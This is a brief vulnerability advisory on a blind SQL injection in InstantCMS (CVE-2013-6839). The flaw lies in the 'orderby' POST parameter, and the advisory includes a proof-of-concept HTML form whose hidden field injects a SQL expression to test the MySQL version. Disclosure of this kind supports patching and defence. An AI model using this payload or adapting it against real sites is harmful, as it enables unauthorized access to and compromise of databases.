SQL Injection in InstantCMS

High-Tech Bridge Security Research Lab discovered blind SQL injection vulnerability in InstantCMS, which can be exploited to perform SQL Injection attacks, alter SQL requests and compromise vulnerable application.

1. SQL Injection in InstantCMS: CVE-2013-6839
   The vulnerability exists due to insufficient filtration of “orderby” HTTP POST parameter passed to “/catalog/[id]” URL. A remote unauthenticated attacker can execute arbitrary SQL commands in application’s database.
   Simple exploit code below uses blind SQL injection exploitation technique, and will display different order of records on the page if MySQL version is 5.:
   <form action=“http://[host]/catalog/2” method=“post” name=“main”>
   <input type=“hidden” name=“orderby” value="(-pubdate(substring(version(),1,1)=5))">
   <input type=“hidden” name=“orderto” value=“asc”>
   <input type=“submit” id=“btn”>
   </form>